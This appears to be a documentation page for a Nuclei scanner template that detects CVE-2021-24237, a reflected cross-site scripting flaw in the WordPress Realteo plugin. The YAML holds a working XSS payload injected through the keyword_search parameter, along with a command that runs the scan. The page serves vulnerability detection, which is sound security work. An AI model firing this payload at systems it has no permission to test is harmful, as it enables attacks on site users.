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WordPress Realteo <=1.2.3 - Cross-Site Scripting

ID: CVE-2021-24237

Severity: medium

Author: 0x_Akoko

Tags: cve2021,cve,realteo,xss,wordpress,plugin,wpscan,intrusive,purethemes

Description

Section titled “Description”

WordPress Realteo plugin 1.2.3 and prior contains an unauthenticated reflected cross-site scripting vulnerability due to improper sanitization of keyword_search, search_radius. _bedrooms and _bathrooms GET parameters before outputting them in its properties page.

YAML Source

Section titled “YAML Source”
id: CVE-2021-24237


info:
  name: WordPress Realteo <=1.2.3 - Cross-Site Scripting
  author: 0x_Akoko
  severity: medium
  description: WordPress Realteo plugin 1.2.3 and prior contains an unauthenticated reflected cross-site scripting vulnerability due to improper sanitization of keyword_search, search_radius. _bedrooms and _bathrooms GET parameters before outputting them in its properties page.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Update to the latest version of the WordPress Realteo plugin (>=1.2.4) which includes a fix for the Cross-Site Scripting vulnerability.
  reference:
    - https://wpscan.com/vulnerability/087b27c4-289e-410f-af74-828a608a4e1e
    - https://m0ze.ru/vulnerability/[2021-03-20]-[WordPress]-[CWE-79]-Realteo-WordPress-Plugin-v1.2.3.txt
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24237
    - https://m0ze.ru/vulnerability/[2021-03-20]-[WordPress]-[CWE-79]-Findeo-WordPress-Theme-v1.3.0.txt
    - https://www.docs.purethemes.net/findeo/knowledge-base/changelog-findeo/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24237
    cwe-id: CWE-79
    epss-score: 0.00265
    epss-percentile: 0.66138
    cpe: cpe:2.3:a:purethemes:findeo:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: purethemes
    product: findeo
    framework: wordpress
  tags: cve2021,cve,realteo,xss,wordpress,plugin,wpscan,intrusive,purethemes


http:
  - method: GET
    path:
      - "{{BaseURL}}/properties/?keyword_search=--!%3E%22%20autofocus%20onfocus%3Dalert(/{{randstr}}/)%3B%2F%2F"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - autofocus onfocus=alert(/{{randstr}}/);//
          - Nothing found
        condition: and


      - type: word
        part: header
        words:
          - text/html


      - type: status
        status:
          - 200
# digest: 4a0a00473045022059523bdc2bb3c4be2057d6ca5ad66a9af2eb8bf3417e83202995d721e828e85a022100bb154d53ec54186afac00639d1a2ad7e4cc9027887885d3e5e016451dc0b7fde:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-24237.yaml"

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